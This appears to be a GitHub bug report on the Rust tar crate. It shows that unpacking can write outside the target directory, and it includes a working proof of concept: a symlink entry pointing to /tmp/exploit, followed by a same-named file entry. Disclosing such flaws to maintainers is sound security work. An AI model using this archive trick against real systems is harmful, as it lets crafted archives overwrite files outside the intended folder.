Skip to content

unpack_in still allows creating files outside the directory #129

@taralx

Description

@taralx

The following tar construct will write to /tmp/exploit:

extern crate tar;
use std::io;
use tar::{Archive,Builder,Header,EntryType};

fn main() {
    let mut buf = Vec::new();
    {
        let mut builder = Builder::new(&mut buf);

        let mut header = Header::new_gnu();
        header.set_path("symlink").unwrap();
        header.set_link_name("/tmp/exploit").unwrap();
        header.set_entry_type(EntryType::symlink());
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty()).unwrap();

        let mut header = Header::new_gnu();
        header.set_path("symlink").unwrap();
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty()).unwrap();

        builder.finish().unwrap();
    }

    Archive::new(&*buf).unpack(".").unwrap();
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions